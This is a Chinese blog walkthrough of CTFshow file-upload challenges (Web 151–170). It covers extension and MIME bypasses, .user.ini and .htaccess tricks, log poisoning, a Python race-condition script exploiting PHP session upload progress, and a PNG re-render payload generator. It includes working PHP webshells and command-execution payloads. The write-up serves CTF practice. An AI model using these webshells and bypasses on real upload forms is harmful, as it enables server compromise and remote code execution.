CTFshow文件上传
本文最后更新于 32 天前,其中的信息可能已经有所发展或是发生改变。

好久之前做过一遍了,当时早,没记笔记,现在重新快速做一遍,顺便复习一遍

Web 151(前端绕过)

前端绕过,一句话木马

<?php @eval($_POST['1']); ?>

一种方法是可以直接在前端改掉它对我们的上传文件的限制

另一种方法就是bp抓包后,直接改文件后缀

Web 152(MIME头绕过)

考点是:Content-Type 是 HTTP 协议中的一个头字段,用于指示发送给接收方的数据的媒体类型(也称为MIME类型)

收集一下:

常见的 Content-Type 值

文本类型:

text/html: HTML 文档
text/plain: 纯文本
text/css: CSS 样式表
text/javascript: JavaScript 文件
应用类型:

application/json: JSON 数据格式
application/xml: XML 数据格式
application/x-www-form-urlencoded: 表单数据,以键值对方式编码,通常用于 POST 请求
multipart/form-data: 表单数据,通常用于文件上传时
图片类型:

image/jpeg: JPEG 图像
image/png: PNG 图像
image/gif: GIF 图像
音频/视频类型:

audio/mpeg: MP3 音频
video/mp4: MP4 视频

可以直接修改MIME类型进行绕过后端检验

,修改MIME类型不会对我们上传的文件有影响

Web 153(.user.ini绕过)

考点:

1.配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置

2.特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置
由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:

文件上传限制:

如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。

脚本执行时间:
恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。

内存限制:
增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。

PHP 文件包含漏洞
auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行

感觉和apache那个配置文件差不多

我们要编写一个ini文件

.user.ini
auto_prepend_file=1.png

意思就是当访问主页文件是会自动包含1.png文件

上传的时候发现.user.ini依旧是不合规的,所以用bp改一下.user.ini.png

后面再上传我们带有木马的文件即可

有一些该注意的点

权限问题:上传后的文件是否有执行权限
路径问题:确保.user.ini和shell.php都在同一目录或者正确的路径
环境限制:目标服务器是否允许.user.ini覆盖配置
安全机制:允许.user.ini文件,对于上传的图片马无条件接收,并没有检验内容和文件头
同时注意连接的地址为/upload/

Web 154

和上一题过滤的东西差不多,只是多加过滤了php所以这边可以直接使用短标签过滤

其余的流程和上一题一样

木马标签改成短标签的形式

<?=@eval($_POST[1]);?>

其实利用条件就是允许上传ini文件,对于上传的图片马验证不严格,并没有彻底验证文件的内容

Web 155

感觉和第154题没什么区别,后面看到区别会继续加上的

Web 156(php关键字和[]绕过)

可以用{}来代替[]然后进行绕过,其余的流程和前面的一样,依旧是ini,然后加上图片马

Web 157 158(php关键字,[],{})

考点就是利用到linux中的通配符

1. 星号(*)

星号用于匹配任意数量的字符(包括零个字符)

示例:

ls *.txt:列出当前目录下所有扩展名为.txt的文件
cp /home/user/*.jpg /home/user/photos/:将/home/user/目录下所有扩展名为.jpg的文件复制到/home/user/photos/目录
rm report*:删除当前目录下所有以report开头的文件
2. 问号()

问号用于匹配单个字符

示例:

ls file?.txt:列出当前目录下所有文件名格式为fileX.txt的文件,其中X可以是任意单个字符。
mv data??.csv backup/:将当前目录下所有文件名格式为dataXX.csv的文件移动到backup/目录,其中XX可以是任意两个字符
3. 方括号([])

方括号用于匹配方括号内的任意一个字符

示例:

ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件
rm file[1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X可以是1到9之间的任意一个数字
4. 大括号({})

大括号用于匹配大括号内的任意一个模式

示例:

cp {file1,file2,file3}.txt backup/:将当前目录下文件名为file1.txt、file2.txt和file3.txt的文件复制到backup/目录
mv {*.jpg,*.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录
5. 感叹号(!)

感叹号用于在方括号内表示排除某个字符

示例:

ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。
rm file[!1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X不是1到9之间的任意一个数字

其实其他的流程还是一样的,这边就可以ls慢慢找flag

<?=system("ls")?>

访问/upload/index.php查看命令执行的效果,不在就可以一点点找就可以了

后面找到了文件的名,就可以利用通配符进行模糊匹配

Web 159(过滤php关键字,[],{},;,())

提供一些命令执行函数
1. exec()

exec()执行一个外部程序,并返回最后一行输出的结果。

2. system()

system()执行一个外部程序,并输出结果。返回命令的最后一行输出。

3. shell_exec()

shell_exec()执行一个命令,并返回完整的输出。

4. passthru()

passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。

5. popen()

popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。

6. proc_open()

proc_open()可以启动一个进程,并更多地控制其输入和输出。

7. ``

PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法

过滤了括号,用反引号就OK了

Web 160(日志绕过)

反引号也给过滤了,那么我们选择日志包含的形式进行绕过,先是上传.user.ini文件

其中允许的1.php内容,因为过滤了log所以这边进行拼接绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这样就包含了日志文件了

然后就可以利用UA头进行恶意代码输入

<?=`cat ../flag.php`?>

Web 161(GIF89A)

GIF89a可以运用在木马上,可以构造一句话木马进行上传:GIF89a? <script language="php">eval($_REQUEST[1])</script>一般在不能使用当php代码直接注入时可以改为phtml格式加入GIF89a(图片头文件欺骗),后台认为是图片,上传后再执行木马。上传后可以通过蚁剑进行连接得到想要的信息 在160的基础上加上GIF89A即可

Web 162(条件竞争)

解释一下,什么叫条件竞争

我们在文件上传的时候,上传的文件会立即保存到服务器,上传成功后会对文件格式进行校验
如果文件的格式符合要求,就重命名该文件,如果文件格式不符合就会删除此文件
我们就是利用服务器处理这个请求的机制,我们多进程上传,并发请求时,会有一下几种情况:
1.访问时间点在文件上传成功之后,但是服务器尚未完成校验处理
也就是说,文件已经保存到服务器了,但是为经过格式校验,我们可以访问到此文件
2.访问时间点在文件上传之前
文件未上传到服务器
3.访问时间在服务器删除文件之后
即不符合文件格式要求,删除了我们上传的文件

即我们上传的速度大于服务器删除的速度即可,这样我们就可以读取到我们的木马文件

先上传ini文件

GIF89a
auto_append_file=/tmp/sess_ss
auto_append_file=/tmp/sess 这行配置通常出现在 PHP 的配置文件(如php.ini)中,它设置了一个自动附加文件的路径。在 PHP 执行脚本时,会在脚本执行结束后自动包含指定路径的文件。
从安全角度来看,如果这个路径下的文件可被恶意用户控制,那么就存在严重的安全风险。例如,攻击者可以在/tmp/sess文件中写入恶意 PHP 代码,当任何 PHP 脚本执行完毕后,由于auto_append_file的设置,该恶意代码会被自动执行
import requests
import threading
import re

# 创建一个会话对象,保持会话的状态
session = requests.session()

# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'ss'

# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"

# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}

# 要上传的文件数据
file = {
'file': '111' # 文件名可以随意设置
}

# 设置会话cookie
cookies = {
'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}

# 定义上传文件的函数,持续发送POST请求
def upload_file():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)

# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
while True:
response = session.get(url2) # 访问目标URL,检查是否能获取到flag
if 'flag' in response.text: # 检查返回内容中是否包含flag
# 正则匹配flag,格式为ctfshow{}
flag = re.search(r'ctfshow{.+}', response.text)
if flag:
print(flag.group()) # 如果找到flag,打印它

# 创建两个线程,一个上传文件,一个检查flag
threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]

# 启动所有线程
for t in threads:
t.start()

Web 163(仍然是条件竞争)

Web 164 165(png,jpg二次渲染)

二次渲染原理

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传

png二次渲染原理

(1)PNG文件格式结构

PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来组织的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:

IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
IDAT(Image Data):图像数据块,包含实际的图像像素信息。
IEND(Image End):图像结束块,表示图像文件的结束。
其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。
在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不损坏图像文件,几乎不可能

(2)二次渲染漏洞的产生原因

不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。

损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。

利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。

(3)PNG 二次渲染漏洞的典型利用方式

(1)篡改块内容或顺序: 攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如:

在一个浏览器中,图像可能被正常显示;
而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。
这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。

(2)损坏的图像数据: 通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。

(3)颜色管理和透明度问题: PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如:

在某些浏览器中,图像可能会显示为透明;
在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。
(4)文本注释块(tEXt)滥用: 某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)

这个我也不是很会搞,这边给一个国外的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行代码会生成图片马,具体的可以参考这个文章

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

Web 166(zip)

没什么难点,就是用zip包,里面写入恶意代码就行

点击下载文件,然后抓包就可以

Web 167(.htaccess)

.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能
.htaccess文件的作用是管理目录,可以修改目录配置,设置能上传某文件并以什么什么格式运行

编写.htaccess文件

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

就是shell.png会被当做php文件执行,后面就是正常的传马了

Web 168(免杀)

也相当于关键字过滤,这边去fuzz一下就可以,找个字典

这边就还剩下反引号没过滤,可以进行命令执行

<?=`ls ../`?>

Web 169 170(.user.ini条件利用)

这边看到是前端要求得是zip

后端要求得是png

所以就使用日志包含

.user.ini
auto_prepend_file=/var/log/nginx/access.log

直接不行,因为.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用,所以我们要先上传了一个没有内容的php文件上去,再上传.user.ini文件包含日志

后续流程就和日志包含一样了,利用UA头

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇